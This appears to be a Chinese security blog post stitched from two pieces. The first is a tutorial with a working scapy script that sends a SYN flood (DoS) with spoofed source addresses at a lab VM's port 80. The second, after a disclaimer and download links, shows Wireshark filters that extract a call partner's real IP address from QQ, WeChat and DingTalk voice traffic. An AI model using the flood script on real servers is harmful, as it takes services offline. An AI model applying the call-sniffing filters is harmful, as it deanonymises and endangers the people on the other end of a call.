分类 网络攻防 下的文章

编写python脚本实现SYN FLOOD(DDOS)

原理

SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache,并且绑定0.0.0.0:80端口

查看服务开启状态

service --stauts-all

image-20210202203157420.png

这里apache没有开启,我们将其开启

service apache2 start

小插曲:主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。

image-20210202225908914.png

image-20210202225925780.png

需要管理员权限,编辑ports.conf文件

sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

image-20210202230205090.png

在kali打开wireshark

image-20210202230706745.png

windows里运行python脚本

kali里面是自带的scapy,这里windows电脑要提前装好scapy

pip3 install scapy-python3

如果中间提示

Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

image-20210202235625714.png

我们需要将scapy的包拷到项目的目录里就好了

image-20210202235803145.png

然后就可以运行了,可以看到已经在疯狂发包了。

image-20210202235851148.png

kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。

image-20210203000131440.png

一、相关声明

本教程仅用于hvv、红蓝攻防对抗等专业领域,请勿用于非法用途。

二、下载地址

城通网盘:https://url95.ctfile.com/d/22064395-39422032-21b658(访问密码:YPOJIE

天翼云盘:https://cloud.189.cn/t/IjEruyiMjAry (访问码:p4ff)

蓝奏云盘:https://ypj.lanzout.com/b00nnkori 密码: biu1

百度网盘:https://pan.baidu.com/s/14PkxeIgUVJVqoh-Do4mMtg 提取码: byia

三、图文教程

首先,我们打开wireshark,这里我们要注意的是

  • 如果你是使用的有线连接的互联网,则使用以太网
  • 如果你是使用的WIFI连接的互联网,则使用Wlan

我们这里属于第二种情况,所以选择WLAN

方法一:使用CTRL+F字符串查找

按一下ctrl F,选择分组详情、字符串、然后输入代码020048(这个是QQ语音对应的特征)

然后使用电脑QQ给对方的号码拨打语音电话,等待对方接通以后,我们点查找就可以看到对方的IP地址了。

方法二:在过滤器中填写代码回车查找

在过滤器中填写udp[8:3]==02:00:48进行过滤,比第一种方法更加直观

为什么是020048?

那这里肯定会有人问了为什么是020048,QQ语音通话使用的是UDP协议直连,简单来说就是语音通话的双方直接连接,不通过其他服务器,020048是QQ UDP协议72字节的报文头

同时也是为什么可以使用udp[8:3]==02:00:48进行过滤的原因,UDP前面包括8字节UDP头后面就是数据,但是wireshark并没有提供udp.data这种直接的过滤方式,故我们使用偏移来实现此过滤,也就只能靠udp[8:x]这样偏移来获取(注:8是固定的八个字节),QQ前面的报文头是不会变化的,所以说我们可以通过之前说的两种方式来找到包含带有真实IP的包。

微信语音获取IP特征过程

如果我们不知道特征,那么怎么去尝试寻找特征呢?其实很简单,电脑连上WIFI,给另一个微信(已知IP)打个电话,然后开着wireshark,在过滤器上可以输入我们已知的IP地址(如果你不知道自己的IP地址,可以在百度上直接输入本机ip就可以快速获取了,我们这里已经获取好了,在过滤器中输入)

然后,我们展开详情,看看Data里有没有同样的特征

我们在这里发现,微信与QQ不同,他的报文头是随机的值,通过找规律发现前两位都是a3,根据之前说的原理,可以使用udp[8:1]==a3进行过滤。

利用data.len进行过滤

这个抓包的并没有上面的第一种方法准确(并不缺少数据,但是过滤后的无关IP较多),此方法参考了台湾中央警察大学三位研究员2020年9月在公开会议上分享的一篇论文,其中提到了根据LengthTime to liveFlags三个维度来来判断嫌疑人真实IP的技巧,根据这篇论文提供的思路,最后得出的命令为data.len >= 120 and data.len <= 150,也就是筛选Length长度为120到150区间的包

其他客户端的特征有吗?

微信、钉钉这些语音的特征有吗?

答案是有的,我们这里直接分享其特征:

  • 钉钉:udp[8:4]==00:01:00:4c
  • QQ:udp[8:3]==02:00:48
  • 微信:udp[8:1]==a3

参考原文